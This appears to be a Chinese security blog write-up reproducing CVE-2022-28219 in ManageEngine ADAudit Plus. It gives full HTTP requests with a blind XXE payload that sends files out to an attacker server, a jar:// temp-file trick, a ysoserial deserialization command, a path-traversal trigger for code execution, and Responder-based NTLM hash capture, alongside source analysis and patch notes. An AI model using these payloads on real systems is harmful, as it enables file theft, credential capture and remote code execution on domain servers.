很有意思的一个洞,复现的同时学习一下java中xxe的攻击手法

漏洞公告:
https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html

影响版本:All ADAudit Plus builds below 7060

漏洞复现

在域控中下载存在漏洞的版本:https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe
默认安装即可,访问8081端口

默认账号密码为admin/admin

XXE

首先是一个无回显的XXE漏洞,如果单纯使用HTTP协议,是无法读取具有换行的文件的,那么就需要使用工具:https://github.com/LandGrey/xxe-ftp-server,即使用FTP协议来向外传递数据

并且在jdk老版本中的xxe可以通过file://netdoc://协议读文件以及列目录,我们可以看到下载的jdk版本为1.8.0_51低版本

具体细节可参考:9102年Java里的XXE

exp:(需要知道域名)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.111.138:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connect: keep-alive
Content-Length: 369
Content-Type: application/json


[
{
"DomainName": "test.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///c:/windows/win.ini\"> <!ENTITY % dtd SYSTEM \"http://192.168.111.1:3000/data.dtd\"> %dtd;]><data>&send;</data>"
}
]

成功获取到c:/windows/win.ini文件内容

java中的xxe还支持jar://协议,格式为jar:{url}!{path},能从远程获取 jar 文件
jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

我们可以使用https://github.com/pwntester/BlockingServer,BlockingServer 提供文件并保持连接打开,因此临时文件不会被删除

1
2
3
4
5
6
7
8
9
[
{
"DomainName": "test.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content":"<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM \"jar:http://192.168.111.1:9090/calc.jar!/test.txt\"> ]><root>&xxe;</root>"
}
]

然后列目录得到临时文件名,一般windows下的临时文件是在C:\Users\用户名\AppData\Local\Temp,linux下的临时文件是在/tmp

看到临时文件已经被写入进来了,jar协议生成的临时文件为jar_cachexxxxxx.tmp

该漏洞需要知道域名,我们可以POST访问/api/agent/configuration/getAgentServerInfo接口

如果配置了agent之后会有完整的ServerFQDN,默认配置下得到完整域名

反序列化rce

使用ysoserial生成反序列化payload,因为ADAudit引用了Commons-beanutils库,所以可以生成CB载荷

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > calc.jar

触发rce

1
http://192.168.111.138:8081/cewolf/a.png?img=/../../../../../../../../../Users/bmth/AppData/Local/Temp/jar_cache4707608721027995217.tmp

成功执行命令弹出计算器,回显的话使用tomcat回显即可

网上已经公开了利用脚本:https://github.com/horizon3ai/CVE-2022-28219

NTLM Relay

Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证
其根本原因在于Windows下的Java默认启用了透明NTLM认证,并且将所有由外部传入的URL地址都认为是可信的

运行著名的相应工具:https://github.com/lgandx/Responder
python3 Responder.py -I eth0 -rv

发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP,成功捕获到用户的 NTLMv2 哈希

参考:
Ghidra 从 XXE 到 RCE
这是一篇“不一样”的真实渗透测试案例分析文章

漏洞分析

修改ADAudit Plus\bin\run.bat中的JAVA_OPTS变量如下,添加JVM动态调试

1
set JAVA_OPTS=-Xmx512m -Dcatalina.home="%SERVER_HOME%" -Dserver.home="%SERVER_HOME%" -Dlog.dir="%SERVER_HOME%" -Ddb.home="%DB_HOME%" -Djava.library.path="%SERVER_HOME%\lib\native" -Dserver.stats=10000  -Dfile.encoding="utf8" -Djava.util.logging.manager="org.apache.juli.ClassLoaderLogManager" -Djava.util.logging.config.file="%SERVER_HOME%/conf/logging.properties" -Dserver.stats=10000 -Dcheck.tomcatport="true" -Dhaltjvm.on.dbcrash="true" -Duser.home="%SERVER_HOME%\logs" -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADAPSSO   -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

然后将源码copy到idea中,启动动态调试

反序列化

这个反序列化其实是CVE-2020-10189

首先看到webapps/adap/WEB-INF/web.xml,找到CewolfServlet这个Servlet,注意到init-param将参数storage设置为de.laures.cewolf.storage.FileStorage

路径为/cewolf/*,也就是漏洞触发点

Servlet实现类为de.laures.cewolf.CewolfRenderer,在doGet方法中接收了一个img参数,并调用FileStorage#getChartImage方法

跟进可以看到直接readObject反序列化

路径是直接拼接的,那么我们可以使用../跨目录来反序列化任意文件

注意,servlet 请求路径需要以指定的文件扩展名结尾

1
if (reqURI == null || !reqURI.endsWith(".png") && !reqURI.endsWith(".jpg") && !reqURI.endsWith(".css") && !reqURI.endsWith(".js") && !reqURI.endsWith(".gif") && !reqURI.endsWith(".jpeg") && !reqURI.endsWith(".bmp") && !reqURI.endsWith(".html") && !reqURI.endsWith(".eot")) {

可以使用

1
2
3
4
5
6
7
.png
.jpg
.css
.js
.gif
.html
.eot

绕过安全过滤器

XXE

同样先看web.xml

com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet这个类开始跟进,发现并没有进行身份验证

看到get和post请求都会调用processRequest,随后走到com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest方法

根据urlPath匹配对应的mappingInfo,然后使用Method.invoke反射调用,可以看到调用了com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData,跟进

从body中取json并转换为数组

最后调用com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify向eventQueue中加入事件

接着看到处理消息队列的地方,在com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run

调用com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process

process函数会获取DomainName对应的键值来迭代,最终调用addEventRows

它会根据传入的CategoryId参数来获取不同的Listener,然后分发进入getEventRowList函数,这里id为11的时候刚好是ProcessTrackingListener

跟进com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow

跟进parseTaskContent方法,最终通过DocumentBuilderFactory类触发盲XXE漏洞

漏洞修复

The patch in ADAudit Plus 7060 fixes the vulnerability by:

  • Removing the /cewolf endpoint altogether
  • Using a secure version of DocumentBuilderFactory in the ProcessTrackingListener class
  • Requiring authentication in the form of an agent GUID between agents and ADAudit Plus

注释掉了CewolfServlet

AdventnetADAPServer.jar!\com\adventnet\sym\adsm\auditing\server\category\ProcessTrackingListener.class代码中修复掉了XXE漏洞:

AdventNetADAPClient.jar!\com\adventnet\sym\adsm\auditing\webclient\ember\api\agent\AgentDataHandler.class加了Guid校验

参考:
Zoho ManageEngine ADAudit Plus (CVE-2022-28219)漏洞分析
CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE
CVE-2022-28219 Zoho组合Java XXE和反序列化漏洞实现RCE
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现